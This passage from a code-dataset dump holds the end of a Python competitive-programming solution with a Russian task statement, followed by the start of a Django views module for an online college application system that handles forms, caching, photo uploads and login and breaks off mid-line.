\r\n8 \r\n3 \r\n12 \r\n16 \r\n4 \r\n5 \r\n11\r\nПример выходных данных для приведённого выше примера \r\nвходных данных:\r\n36\r\nПояснение. Из десяти заданных элементов с учётом допустимых \r\nрасстояний между ними можно составить 42 суммы: 17+4, 17+1, \r\n17+8, 17+3, 17+12, 17+16, 17+4, 4+1, 4+8, ..., 16+4, 16+5, \r\n16+11, 4+5, 4+11, 5+11. Из них на 8 не делятся 36 сумм.\r\n\"\"\"\r\nimport sys\r\nsave_stdin = sys.stdin\r\nsys.stdin = open(\"in/102.in\")\r\n\r\nN = int(input())\r\nbuf = [0] * 8\r\nrem_div = [0] * 8\r\n\r\nfor i in range(8):\r\n buf[i] = int(input())\r\n rem_div[buf[i]%8] += 1\r\n \r\ncnt = (rem_div[0] * (rem_div[0] - 1)) // 2\r\ncnt += (rem_div[4] * (rem_div[4] - 1)) // 2\r\nfor i in range(1, 4):\r\n cnt += rem_div[i] * rem_div[8-i]\r\n \r\nfor _ in range(8, N):\r\n rem_div[buf[0]%8] -= 1\r\n buf.pop(0)\r\n \r\n x = int(input())\r\n d = x % 8\r\n\r\n if d == 0:\r\n cnt += rem_div[0]\r\n elif d == 4:\r\n cnt += rem_div[4]\r\n else:\r\n cnt += rem_div[8 - d]\r\n\r\n buf.append(x)\r\n rem_div[d] += 1\r\n\r\nall_ = 7 * (N - 8) + (8 * (8 - 1)) // 2\r\n \r\nprint(all_ - cnt) \r\n\r\nsys.stdin = save_stdin","sub_path":"Sol/102.py","file_name":"102.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"565176856","text":"from formconfig.views import DynamicFormView\r\nfrom formconfig.models import FormConfiguration, ApplicationForm, AppFormPayment\r\nfrom utility.views import data_to_pickle\r\nfrom studentinfo.models import SerializeDetail, AppDetail, Order, CODPayment, AppCollegeStatus, ExtraDetails\r\nfrom studentinfo.models import CoursePreference, PaymentDetail, UserFormSelection, UserFlowStatus\r\nimport datetime\r\nimport time\r\nimport ast\r\nimport re\r\nfrom django.contrib.auth.models import User\r\nfrom userapp.models import LoginDetail\r\nfrom django.contrib.auth import login as auth_login\r\nfrom utility.views import pickle_to_data, send_email_sms\r\nfrom studentinfo.forms import ChangeAddressForm\r\nfrom amsmaster.models import PinCode, Program, ModeOfPayment\r\nfrom django.http import HttpResponseRedirect, HttpResponse\r\nimport sys\r\nfrom settings import PG_ARGS\r\nfrom userapp.forms import LoginAuthenticationForm\r\nfrom userapp.models import UserProfile\r\nfrom django.conf import settings\r\nfrom formconfig.forms import PersonalForm, AcademicForm, WorkForm, CombinedForm, MyForm\r\nfrom studentinfo.forms import CombinedDetailForm\r\nfrom formconfig.choices import DOB_YEAR, STATE_CITY_LIST, COUNTRY_LIST, NATIONALITY_LIST, SCORE_TYPE, DOB_DAY , DOB_MONTH\r\nfrom formconfig.choices import INCOME_LIST, RES_CAT_LIST, MOTHER_TONGUE_LIST, MODE_OF_STUDY, MONTHS, YEARS, GENDER_FLAG\r\nfrom formconfig.choices import XTH_BOARD_CHOICES, XIITH_BOARD_CHOICES, GRAD_DEGREE_CHOICES, POSTGRAD_DEGREE_CHOICES\r\nfrom amsmaster.models import Exam\r\nfrom django.core.cache import cache\r\nfrom django.db.models import Sum, Q, Count\r\nfrom django.shortcuts import render_to_response\r\nfrom django.template.context import RequestContext\r\nfrom mailer.views import EmailData, SmsData\r\nfrom form_settings import FORM_WORKFLOW\r\nfrom django.utils.encoding import smart_str\r\n\r\nfrom django.utils.datastructures import SortedDict\r\nfrom django.core.validators import email_re\r\n\r\nclass d_o_b( object ):\r\n pass\r\n\r\nclass work_exp( object ):\r\n pass\r\n\r\nclass AppClass( object ):\r\n request = \"\"\r\n\r\n def __init__( self , request ):\r\n self.request = request\r\n\r\n def __sizeof__( self ):\r\n return object.__sizeof__( self ) + sum( sys.getsizeof( v ) for v in self.__dict__.values() )\r\n\r\n def get_session_key( self ):\r\n# s = SessionStore()\r\n# session_key = s._get_session_key()\r\n session_key = self.request.COOKIES['sessionid']\r\n return session_key\r\n\r\n def get_selected_apps( self ):\r\n session_key = self.get_session_key()\r\n kwargs = {'user' : self.request.user, 'session_key' : session_key, 'completion_flag' : False }\r\n if cache.get( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected' ):\r\n app_form_objs = cache.get( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected' )\r\n else:\r\n app_form_ids = UserFormSelection.userflow_manager.filter_form_selection( kwargs ).values_list( 'app_form_id', flat = True )\r\n app_kwag = {'id__in' : app_form_ids }\r\n app_form_objs = ApplicationForm.formconfig_manager.filter_manager( app_kwag )\r\n cache.set( str( self.request.user.id ) + \"_\" + str( session_key ) + '_form_selected', app_form_objs, 60 * 60 * 24 * 365 )\r\n return app_form_objs\r\n\r\n def get_iaf_selected_apps( self ):\r\n app_form_objs = ApplicationForm.objects.filter( id__in = self.request.COOKIES['app_cart_ids'].split( ',' ) )\r\n return app_form_objs\r\n\r\n def update_flow_status( self ):\r\n session_key = self.get_session_key()\r\n flow_name = self.request.COOKIES.get( 'app_flow' , 'CAF' )\r\n kwargs = {'session_key' : session_key, 'user': self.request.user , 'flow_url' : self.request.path , 'flow_name': flow_name }\r\n UserFlowStatus.userflow_manager.create_user_flow( kwargs )\r\n return True\r\n\r\n def send_email( self, sender_dict, key , data_dict ):\r\n email_obj = EmailData( sender_dict['email'], key , data_dict )\r\n email_obj.send_mail()\r\n\r\n def send_email_sms( self , sender_dict, key , data_dict ):\r\n email_obj = EmailData( sender_dict['email'], key , data_dict )\r\n email_obj.send_mail()\r\n sms_obj = SmsData( sender_dict['mobile_number'], key , data_dict )\r\n sms_obj.send_sms()\r\n return True\r\n\r\nclass TemplateClass( AppClass ):\r\n\r\n def get_template( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n if form_conf != '':\r\n flow = form_conf['app_flow']\r\n if flow in ['IAF', 'JMED']:\r\n folder = 'jamia'\r\n elif flow == 'GNIMIAF':\r\n folder = 'gnim'\r\n elif flow == 'KNS':\r\n folder = 'kns'\r\n elif flow == 'IIMGGN':\r\n folder = 'iimggn'\r\n elif flow == 'HIERANK':\r\n folder = 'hierank'\r\n elif flow == 'CENTUM':\r\n folder = 'centum'\r\n elif flow == 'SDIMT':\r\n folder = 'sdimt'\r\n elif flow == 'INLEAD':\r\n folder = 'inlead'\r\n elif flow == 'GBU':\r\n folder = 'gbu'\r\n elif flow == 'ALGOL':\r\n folder = 'algol'\r\n elif flow == 'WCTM':\r\n folder = 'wctm'\r\n elif flow == 'PU':\r\n folder = 'pu'\r\n else:\r\n folder = ''\r\n return folder\r\n\r\nclass AppInfo( AppClass ):\r\n\r\n def get_city_list( self ):\r\n grouped_city_list = STATE_CITY_LIST\r\n return grouped_city_list\r\n\r\n def get_country_list( self ):\r\n return COUNTRY_LIST\r\n\r\n def get_nationality_list( self ):\r\n return NATIONALITY_LIST\r\n\r\n def get_score_list( self ):\r\n return SCORE_TYPE\r\n\r\n def get_income_list( self ):\r\n return INCOME_LIST\r\n\r\n def get_reservation_list( self ):\r\n return RES_CAT_LIST\r\n\r\n def get_mother_tongue_list( self ):\r\n return MOTHER_TONGUE_LIST\r\n\r\n def get_gender( self ):\r\n return GENDER_FLAG\r\n\r\n def get_study_mode( self ):\r\n return MODE_OF_STUDY\r\n\r\n def get_x_board( self ):\r\n return XTH_BOARD_CHOICES\r\n\r\n def get_xii_board( self ):\r\n return XIITH_BOARD_CHOICES\r\n\r\n def get_grad_course( self ):\r\n return GRAD_DEGREE_CHOICES\r\n\r\n def get_post_grad_course( self ):\r\n return POSTGRAD_DEGREE_CHOICES\r\n\r\n def get_qualification( self ):\r\n QUALIFICATION_LIST = ( \r\n ( '', 'Select Qualification' ),\r\n ( \"Class XIIth\", \"Class XIIth\" ),\r\n ( \"Graduation\", \"Graduation\" ),\r\n ( \"Post Graduation\", \"Post Graduation\" ),\r\n ( 'Others', 'Others' ),\r\n )\r\n prog_slug = self.request.COOKIES['program_slug']\r\n if cache.get( 'level_' + prog_slug ):\r\n prog_level = cache.get( 'level_' + prog_slug )\r\n else:\r\n prog_level = Program.master_manager.get_paymentdetail( {'slug' : prog_slug} ).level\r\n cache.set( 'level_' + prog_slug, prog_level, 60 * 60 * 24 * 365 )\r\n if prog_level == 'Graduation Course':\r\n QUALIFICATION_LIST = ( \r\n ( '', 'Select Qualification' ),\r\n ( \"Class XIIth\", \"Class XIIth\" ),\r\n ( 'Others', 'Others' ),\r\n )\r\n elif prog_level == 'Post Graduation Course':\r\n QUALIFICATION_LIST = ( \r\n ( '', 'Select Qualification' ),\r\n ( \"Graduation\", \"Graduation\" ),\r\n ( \"Post Graduation\", \"Post Graduation\" ),\r\n ( 'Others', 'Others' ),\r\n )\r\n return QUALIFICATION_LIST\r\n\r\n def get_year_list( self, future = 0, past = 0 ):\r\n now = datetime.datetime.now()\r\n current_year = now.year + future\r\n if past == 0:\r\n past = 221\r\n year_list = []\r\n year_list.append( ( None, 'Select Passing Year' ) )\r\n year_list += [( current_year - i, str( current_year - i ) ) for i in range( past )]\r\n return year_list\r\n\r\n def get_exam_list( self ):\r\n prog_slug = self.request.COOKIES['program_slug']\r\n if cache.get( 'exam_list_' + prog_slug ):\r\n EXAM_LIST_CHOICES = cache.get( 'exam_list_' + prog_slug )\r\n else:\r\n EXAM_LIST_CHOICES = [( '', 'Exam Name' ), ] + list( Exam.objects.values_list( 'abbreviation', 'abbreviation' ).filter( program__slug = prog_slug ).exclude( name__istartswith = 'Other' ).order_by( 'abbreviation' ) ) + list( Exam.objects.values_list( 'abbreviation', 'abbreviation' ).filter( name__istartswith = 'Other' ) )\r\n cache.set( 'exam_list_' + prog_slug, EXAM_LIST_CHOICES, 60 * 60 * 24 * 365 )\r\n return EXAM_LIST_CHOICES\r\n\r\n def get_wrk_year( self ):\r\n return YEARS\r\n\r\n def get_wrk_month( self ):\r\n return MONTHS\r\n\r\n def get_dob( self, attr ):\r\n if attr == 'day':\r\n return DOB_DAY\r\n elif attr == 'month':\r\n return DOB_MONTH\r\n elif attr == 'year':\r\n return DOB_YEAR\r\n\r\n def get_select_lists( self ):\r\n reservation_cat = self.get_reservation_list()\r\n nationality_list = self.get_nationality_list()\r\n mother_tongue = self.get_mother_tongue_list()\r\n country_list = self.get_country_list()\r\n city_list = self.get_city_list()\r\n qualification_list = self.get_qualification()\r\n x_board = self.get_x_board()\r\n xii_board = self.get_xii_board()\r\n grad_course = self.get_grad_course()\r\n pg_course = self.get_post_grad_course()\r\n x_pass_yr = self.get_year_list( 0, 21 )\r\n xii_pass_yr = self.get_year_list( 2, 21 )\r\n grad_pass_yr = self.get_year_list( 3, 21 )\r\n pg_pass_yr = self.get_year_list( 4, 21 )\r\n study_mode = self.get_study_mode()\r\n exam_year = self.get_year_list( 0, 3 )\r\n exam_list = self.get_exam_list()\r\n test_score = self.get_score_list()\r\n wrk_exp_yr = self.get_wrk_year()\r\n wrk_exp_mnth = self.get_wrk_month()\r\n income_list = self.get_income_list()\r\n gender_list = self.get_gender()\r\n select_dict = {'reservation_cat':reservation_cat, 'nationality_list':nationality_list,\r\n 'mother_tongue':mother_tongue, 'country_list':country_list,\r\n 'city_list':city_list, 'qualification_list':qualification_list,\r\n 'x_board':x_board, 'xii_board':xii_board, 'grad_course':grad_course,\r\n 'pg_course':pg_course, 'x_pass_yr':x_pass_yr, 'xii_pass_yr':xii_pass_yr,\r\n 'grad_pass_yr':grad_pass_yr, 'pg_pass_yr':pg_pass_yr, 'study_mode':study_mode,\r\n 'exam_year':exam_year, 'exam_list':exam_list, 'test_score':test_score,\r\n 'wrk_exp_yr':wrk_exp_yr, 'wrk_exp_mnth':wrk_exp_mnth, 'income_list':income_list,\r\n 'gender_list':gender_list\r\n }\r\n return select_dict\r\n\r\n\r\n def get_app_forms_ids( self ):\r\n app_form_cookie = self.request.COOKIES.get( 'app_cart_ids', '' )\r\n app_form_ids = app_form_cookie.split( ',' )\r\n return app_form_ids\r\n\r\n def store_form_selections( self ):\r\n session_key = self.get_session_key()\r\n app_form_ids = self.get_app_forms_ids()\r\n for app_id in app_form_ids:\r\n kwargs = {'user': self.request.user, 'session_key' : session_key, 'app_form_id': app_id}\r\n UserFormSelection.userflow_manager.get_or_create_form_sel( kwargs )\r\n self.update_flow_status()\r\n return True\r\n\r\n def get_form_obj( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n slug = form_conf['form_slug']\r\n if cache.get( slug + '_form_obj' ):\r\n form_object = cache.get( slug + '_form_obj' )\r\n else:\r\n form_object = FormConfiguration.formconfig_manager.get_manager( {'slug' : slug} )\r\n cache.set( slug + '_form_obj', form_object, 60 * 60 * 24 )\r\n return form_object\r\n\r\n def display_form_obj( self, form_obj, key ):\r\n form_object = self.get_form_obj()\r\n dynamic_obj = DynamicFormView()\r\n form_obj = dynamic_obj.get_configured_form( form_obj, key, form_object )\r\n return form_obj\r\n\r\n def save_form_obj( self , form_tuple ):\r\n form_obj, type, storage_field, app_obj = form_tuple[0], form_tuple[1], form_tuple[2], form_tuple[3]\r\n other_object = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_obj } )\r\n data_dict = self.request.POST\r\n data_dict._mutable = True\r\n if storage_field == 'work_details':\r\n data_dict['total_work_experience'] = str( self.request.POST.get( 'total_work_experience_year' ) ) + '-' + str( self.request.POST.get( 'total_work_experience_month' ) )\r\n other_object.__setattr__( storage_field, data_to_pickle( data_dict ) )\r\n other_object.save()\r\n return True\r\n\r\n def display_iaf_form_obj( self, ser_obj = None ):\r\n dynamic_obj = DynamicFormView()\r\n form_object = self.get_form_obj()\r\n form_dict = SortedDict()\r\n for key, value in FORM_WORKFLOW.items():\r\n form_dict[value['label']] = SortedDict()\r\n for gr in value['groups']:\r\n if ser_obj:\r\n combine_form = MyForm( ser_obj )\r\n else:\r\n combine_form = MyForm()\r\n form_obj = dynamic_obj.get_configured_form( value['form'](), key, form_object )\r\n form_fields = form_obj.fields\r\n for field in form_fields:\r\n if form_fields[field].group == gr:\r\n combine_form.fields.update( {field:form_fields[field]} )\r\n form_dict[value['label']][gr] = combine_form\r\n return form_dict\r\n def display_combine_form_obj( self, ser_obj ):\r\n\r\n update_dict = {}\r\n flow = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )['app_flow']\r\n if ser_obj:\r\n prsnl_detail = pickle_to_data( ser_obj.personal_details )\r\n acad_detail = pickle_to_data( ser_obj.academic_details )\r\n work_detail = pickle_to_data( ser_obj.work_details )\r\n data_dict = {}\r\n try:\r\n work_exp_val = str( work_detail['total_work_experience'] ).split( '-' )\r\n work_exp.year = ( work_exp_val[1] )\r\n work_exp.month = ( work_exp_val[0] )\r\n data_dict['total_work_experience'] = work_exp\r\n except:pass\r\n update_dict = {}\r\n personal_form = self.display_form_obj( PersonalForm( prsnl_detail ), '1' )\r\n if prsnl_detail :\r\n update_dict.update( prsnl_detail )\r\n academic_form = self.display_form_obj( AcademicForm( acad_detail ), '2' )\r\n if acad_detail:\r\n update_dict.update( acad_detail )\r\n work_form = self.display_form_obj( WorkForm( work_detail ), '3' )\r\n if work_detail :\r\n update_dict.update( work_detail )\r\n if update_dict:\r\n combine_form = CombinedForm( update_dict )\r\n else:\r\n combine_form = CombinedForm()\r\n else:\r\n personal_form = self.display_form_obj( PersonalForm( self.request.POST ), '1' )\r\n academic_form = self.display_form_obj( AcademicForm( self.request.POST ), '2' )\r\n work_form = self.display_form_obj( WorkForm( self.request.POST ), '3' )\r\n if flow != 'CAF':\r\n combine_form = MyForm()\r\n dynamic_obj = DynamicFormView()\r\n form_object = self.get_form_obj()\r\n for key, value in FORM_WORKFLOW.items():\r\n try:combine_form.fields.update( dynamic_obj.get_configured_form( value['form'](), key, form_object ).fields )\r\n except:pass\r\n return combine_form\r\n else:\r\n combine_form = CombinedForm()\r\n dynamic_fields = {}\r\n dynamic_fields.update( personal_form.fields )\r\n dynamic_fields.update( academic_form.fields )\r\n dynamic_fields.update( work_form.fields )\r\n\r\n for each in combine_form.fields.keys():\r\n if each not in dynamic_fields.keys():\r\n del combine_form.fields[each]\r\n combine_form = self.calculate_workexp( combine_form , data_dict )\r\n return combine_form\r\n\r\n def save_iaf_form_obj( self, app_obj ):\r\n dynamic_obj = DynamicFormView()\r\n form_object = self.get_form_obj()\r\n form_dict = SortedDict()\r\n valid_form = []\r\n for key, value in FORM_WORKFLOW.items():\r\n form_dict[value['label']] = SortedDict()\r\n for gr in value['groups']:\r\n combine_form = MyForm( self.request.POST )\r\n form_obj = dynamic_obj.get_configured_form( value['form']( self.request.POST ), key, form_object )\r\n form_fields = form_obj.fields\r\n\r\n if form_obj.is_valid():\r\n valid_form.append( True )\r\n if value['label'] == 'Personal Form':\r\n self.save_form_obj( ( value['form']( self.request.POST ), key, 'personal_details', app_obj ) )\r\n if value['label'] == 'Academic Form':\r\n self.save_form_obj( ( value['form']( self.request.POST ), key, 'academic_details', app_obj ) )\r\n if value['label'] == 'Work Form':\r\n self.save_form_obj( ( value['form']( self.request.POST ), key, 'work_details', app_obj ) )\r\n if value['label'] == 'Additional Form':\r\n self.save_form_obj( ( value['form']( self.request.POST ), key, 'additional_details', app_obj ) )\r\n else:\r\n valid_form.append( False )\r\n for field in form_fields:\r\n if form_fields[field].group == gr:\r\n combine_form.fields.update( {field:form_fields[field]} )\r\n form_dict[value['label']][gr] = combine_form\r\n if self.request.POST.has_key( 'email_id' ):\r\n if not email_re.match( self.request.POST['email_id'] ):\r\n valid_form.append( False )\r\n form_dict['Personal Form']['Personal Information'].errors['email_id'] = \"Please enter a valid Email ID format\"\r\n file_type = ['jpg', 'jpeg', 'png', 'gif']\r\n if self.request.FILES.has_key( 'photo' ) or self.request.FILES.has_key( 'signature' ):\r\n for k in self.request.FILES.keys():\r\n file_name = str( self.request.FILES[k].name ).split( '.' )[1].lower()\r\n file_size = self.request.FILES[k].size\r\n if file_name not in file_type:\r\n valid_form.append( False )\r\n form_dict[k + '_error'] = \"Please enter valid photo (Only jpeg,jpg, png and gif type).\"\r\n if file_size > 1073741824:\r\n valid_form.append( False )\r\n form_dict[k + '_error'] = \"Please upload less than 1MB. (Only jpeg,jpg, png and gif type).\"\r\n valid_form = all( valid_form )\r\n return ( form_dict, valid_form )\r\n\r\n def save_combine_form_obj( self, app_obj ):\r\n combined_form = self.display_combine_form_obj( None )\r\n post_dict = self.request.POST\r\n post_dict._mutable = True\r\n for each in combined_form.fields.keys():\r\n if each not in post_dict.keys():\r\n del combined_form.fields[each]\r\n if combined_form.is_valid():\r\n prsnl_tup = ( PersonalForm( self.request.POST ), '1', 'personal_details', app_obj )\r\n acad_tup = ( AcademicForm( self.request.POST ), '2', 'academic_details', app_obj )\r\n work_tup = ( WorkForm( self.request.POST ), '3', 'work_details', app_obj )\r\n self.save_form_obj( prsnl_tup )\r\n self.save_form_obj( acad_tup )\r\n self.save_form_obj( work_tup )\r\n valid_val = True\r\n else:\r\n valid_val = False\r\n combined_form = self.calculate_workexp( combined_form, post_dict )\r\n return ( combined_form, valid_val )\r\n\r\n def change_address_save( self ):\r\n post_dict = self.request.POST\r\n post_dict._mutable = True\r\n form_obj = ChangeAddressForm( post_dict )\r\n app_info, ser_obj = self.get_app_detail()\r\n contact_detail = pickle_to_data( ser_obj.personal_details )\r\n if form_obj.is_valid():\r\n contact_detail['correspondance_address'] = post_dict['correspondance_address']\r\n contact_detail['correspondance_country'] = post_dict['correspondance_country']\r\n contact_detail['correspondance_city'] = post_dict['correspondance_city']\r\n contact_detail['correspondance_postal_code'] = post_dict['correspondance_postal_code']\r\n ser_obj.personal_details = data_to_pickle( contact_detail )\r\n ser_obj.save()\r\n try:\r\n PinCode.master_manager.get_paymentdetail( { 'pin_code' : int( post_dict['correspondance_postal_code'] ) , 'display_flag' : True } )\r\n value = 'success-Address Changed'\r\n except:\r\n value = 'failed-This Pin code does not exist in our database.Click here to check pin code list. '\r\n return HttpResponse( value )\r\n else:\r\n errors = 'error-' + '|'.join( [x[0] + ':' + '&'.join( x[1] ) for x in form_obj.errors.items()] )\r\n return HttpResponse( errors )\r\n\r\n def get_app_detail( self ):\r\n app_detail = AppDetail.appdetail_manager.get_details( { 'user' : self.request.user, 'app_form' : None, 'app_type': 'CAF'} )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def get_iaf_app_detail( self, kwrgs ):\r\n app_detail = AppDetail.appdetail_manager.get_details( kwrgs )\r\n ser_obj = SerializeDetail.appdetail_manager.get_details( { 'app_detail' : app_detail} )\r\n return ( app_detail, ser_obj )\r\n\r\n def save_ajax_form_obj( self, app_obj ):\r\n post_dict = self.request.POST\r\n post_dict._mutable = True\r\n form_obj = CombinedDetailForm( post_dict )\r\n psnlform_tuple = ( PersonalForm( post_dict ), '1', 'personal_details', app_obj )\r\n post_dict['pursuing'] = self.request.POST.get( 'pursuing', None )\r\n acadform_tuple = ( AcademicForm( post_dict ), '2', 'academic_details', app_obj )\r\n workform_tuple = ( WorkForm( post_dict ), '3', 'work_details', app_obj )\r\n if form_obj.is_valid():\r\n self.save_basic_info( app_obj )\r\n self.save_form_obj( psnlform_tuple )\r\n self.save_form_obj( acadform_tuple )\r\n self.save_form_obj( workform_tuple )\r\n valid_flag = 1\r\n else:\r\n form_obj = form_obj\r\n valid_flag = 0\r\n data_dict = {}\r\n try:\r\n work_exp.year = ( post_dict['total_work_experience_year'] )\r\n work_exp.month = ( post_dict['total_work_experience_month'] )\r\n data_dict['total_work_experience'] = work_exp\r\n except:pass\r\n form_obj = self.calculate_workexp( form_obj, data_dict )\r\n return ( form_obj, valid_flag )\r\n\r\n def save_basic_info( self, app_obj ):\r\n post_dict = self.request.POST\r\n try:\r\n if post_dict['middle_name'] == 'Middle Name':\r\n full_name = post_dict[ 'first_name'] + \" \" + post_dict['surname']\r\n else:\r\n full_name = post_dict[ 'first_name'] + \" \" + post_dict['middle_name'] + \" \" + post_dict['surname']\r\n app_obj.name = full_name\r\n except:pass\r\n try:\r\n app_obj.mobile_number = post_dict[ 'mobile_number']\r\n except:pass\r\n try:\r\n app_obj.date_of_birth = post_dict[ 'date_of_birth']\r\n except:pass\r\n try:\r\n app_obj.high_school_percentage = float( post_dict[ 'high_school_marks'] )\r\n except:\r\n pass\r\n try:\r\n app_obj.secondary_school_percentage = float( post_dict[ 'higher_secondary_marks'] )\r\n except:pass\r\n try:\r\n app_obj.graduation_percentage = float( post_dict[ 'grad_school_marks'] )\r\n except:pass\r\n try:\r\n app_obj.post_graduation_percentage = float( post_dict[ 'post_grad_school_marks'] )\r\n except:pass\r\n app_obj.save()\r\n return True\r\n\r\n def calculate_dob( self, form_obj , data_dict ):\r\n if data_dict.has_key( 'date_of_birth' ) and data_dict['date_of_birth']:\r\n d_o_b = data_dict['date_of_birth']\r\n if d_o_b.day != 'None':\r\n form_obj.fields['date_of_birth_day'] = int( d_o_b.day )\r\n else:\r\n form_obj.fields['date_of_birth_day'] = None\r\n if d_o_b.month != 'None':\r\n form_obj.fields['date_of_birth_month'] = int( d_o_b.month )\r\n else:\r\n form_obj.fields['date_of_birth_month'] = None\r\n if d_o_b.year != 'None':\r\n form_obj.fields['date_of_birth_year'] = int( d_o_b.year )\r\n else:\r\n form_obj.fields['date_of_birth_year'] = None\r\n return form_obj\r\n\r\n def calculate_workexp( self, form_obj , data_dict ):\r\n if data_dict.has_key( 'total_work_experience' ) and data_dict['total_work_experience']:\r\n if work_exp.year != 'None':\r\n form_obj.fields['total_work_experience_year'] = int( work_exp.year )\r\n else:\r\n form_obj.fields['total_work_experience_year'] = None\r\n if work_exp.month != 'None':\r\n form_obj.fields['total_work_experience_month'] = int( work_exp.month )\r\n else:\r\n form_obj.fields['total_work_experience_month'] = None\r\n return form_obj\r\n\r\n def user_login( self ):\r\n self.form = LoginAuthenticationForm( data = self.request.POST )\r\n if self.form.is_valid():\r\n self.redirect_to = self.request.POST.get( 'next', '/' )\r\n #if self.next:self.redirect_to = self.next\r\n self.url_path = self.redirect_to\r\n if not self.redirect_to or ' ' in self.redirect_to:\r\n self.redirect_to = settings.LOGIN_REDIRECT_URL\r\n self.url_path = \"/\"\r\n elif '//' in self.redirect_to and re.match( r'[^\\?]*//', self.redirect_to ):\r\n self.redirect_to = settings.LOGIN_REDIRECT_URL\r\n self.url_path = \"/\"\r\n auth_login( self.request, self.form.get_user() )\r\n\r\n if self.request.session.test_cookie_worked():\r\n self.request.session.delete_test_cookie()\r\n self.user = User.objects.get( username = self.request.POST['username'] )\r\n self.ip_address = self.request.META['REMOTE_ADDR']\r\n login_obj = LoginDetail( user = self.user, name = self.user.first_name + \" \" + self.user.last_name, last_login = self.user.last_login,\r\n ip_address = self.ip_address, url_path = self.url_path )\r\n login_obj.save()\r\n return ( self.redirect_to, True )\r\n else:\r\n return( self.form, False )\r\n\r\n def get_default_app_detail( self ):\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if flow == 'CAF':\r\n kwargs = {'user' : self.request.user, 'app_form': None, 'app_type' : 'CAF'}\r\n else:\r\n kwargs = {'registration_no' : self.request.COOKIES['temp_ref_no'], }\r\n app_details = AppDetail.appdetail_manager.get_details( kwargs )\r\n return app_details\r\n\r\n def save_initial_data( self, kwargs ):\r\n app_obj, app_created = AppDetail.appdetail_manager.get_or_create_details( kwargs )\r\n SerializeDetail.appdetail_manager.get_or_create_details( { 'app_detail' : app_obj} )\r\n return app_obj\r\n\r\n def show_preference_div_options( self ):\r\n app_details = AppDetail.appdetail_manager.filter_appdetail( { 'user':self.request.user} )\r\n app_form_obj = []\r\n for each in app_details:\r\n crs_pref = CoursePreference.appdetail_manager.filter_manager( {'app_detail':each} )\r\n if not crs_pref:\r\n app_form = each.app_form\r\n app_form_obj.append( app_form )\r\n pref_list = self.get_pref_list( app_form_obj )\r\n return pref_list\r\n\r\n\r\n def show_preference_options( self , order_id ):\r\n\r\n app_details = AppDetail.appdetail_manager.filter_manager( { 'order__order_id': order_id} )\r\n app_form_obj = []\r\n for each in app_details:\r\n app_form = each.app_form\r\n app_form_obj.append( app_form )\r\n pref_list = self.get_pref_list( app_form_obj )\r\n return pref_list\r\n\r\n def get_pref_list( self, app_form_obj ):\r\n pref_list = []\r\n pref_dict = {}\r\n for each in app_form_obj:\r\n if not each.preference_choice == 'No Preference':\r\n course_list = each.courses.values( 'location__location__name', 'name' )\r\n inst_name = each.institute.name\r\n app_id = each.id\r\n for app_val in course_list:\r\n loc_name = app_val['location__location__name']\r\n course_name = app_val['name']\r\n if pref_dict.has_key( app_id ):\r\n if pref_dict[app_id]['loc_dict'].has_key( loc_name ):\r\n pref_dict[app_id]['loc_dict'][loc_name].append( app_val['name'] )\r\n else:\r\n pref_dict[app_id]['loc_dict'][loc_name] = [app_val['name']]\r\n else:\r\n pref_dict = {app_id: { 'inst_name': inst_name, 'loc_dict':{loc_name:[course_name]}, 'pref_type':each.preference_choice}}\r\n pref_list.append( pref_dict )\r\n return pref_list\r\n\r\n def save_preference_order( self ):\r\n post_dict = self.request.POST\r\n try:\r\n app_list = [post_dict['app_list']]\r\n except:\r\n app_list = post_dict.getlist( 'app_list[]' )\r\n count = 0\r\n for app_id in app_list:\r\n count = count + 1\r\n app_pref = app_id.split( '_' )\r\n kwargs = {'user' : self.request.user, 'app_form__id' : int( app_pref[0] )}\r\n app_detail = AppDetail.appdetail_manager.get_details( kwargs )\r\n location_course_pref = app_pref[1]\r\n try:\r\n crs_pref = CoursePreference.appdetail_manager.filter_manager( { 'app_detail' : app_detail } ).order_by( '-id' )\r\n pref_order = ( crs_pref[0] ).preference_order + 1\r\n except:\r\n pref_order = 1\r\n data_dict = {'app_detail':app_detail, 'location_course_pref':location_course_pref}\r\n pref_obj, pref_created = CoursePreference.appdetail_manager.get_or_create_details( data_dict )\r\n if pref_created:\r\n pref_obj.preference_order = pref_order\r\n pref_obj.save()\r\n return True\r\n\r\n def check_photo( self ):\r\n app_detail = self.get_default_app_detail()\r\n photo = app_detail.photograph\r\n if photo and photo != '':\r\n return 'True'\r\n else:\r\n return 'False'\r\n\r\n def save_photo( self ):\r\n default_app = self.get_default_app_detail()\r\n if self.request.POST['photo_status'] == 'False':\r\n photo = self.request.FILES.get( 'photo', '' )\r\n if photo != '':\r\n upload_path = \"uploads/student_photo/%s\" % ( self.request.FILES['photo'] )\r\n upload_path = upload_path.replace( ' ', '-' )\r\n else:\r\n upload_path = ''\r\n form_conf = ast.literal_eval( self.request.COOKIES.get( 'conf_dict', '' ) )\r\n flow = form_conf['app_flow']\r\n if not flow == 'CAF':\r\n app_details = AppDetail.appdetail_manager.filter_appdetail( {'registration_no':self.request.COOKIES['temp_ref_no']} )\r\n else:\r\n app_details = AppDetail.appdetail_manager.filter_appdetail( {'user':self.request.user} )\r\n else:\r\n app_detail = self.get_default_app_detail()\r\n upload_path = app_detail.photograph\r\n app_details = AppDetail.appdetail_manager.filter_appdetail( {'order__order_id':self.request.POST['order_id']} )\r\n default_app.photograph = upload_path\r\n default_app.save()\r\n for each in app_details:\r\n each.photograph = upload_path\r\n each.save()\r\n return True\r\n\r\n def create_ref_no( self , app_form_info ):\r\n #prog_name = ( ( str( app_obj.app_form.program.name ) ).upper() )[0:3]\r\n prog_id = '%0*d' % ( 3, int( app_form_info['program__id'] ) )\r\n clg_id = '%0*d' % ( 5, int( app_form_info['institute__id'] ) )\r\n #app_id = '%0*d' % ( 6, int( app_obj.id ) )\r\n utc_time = int( 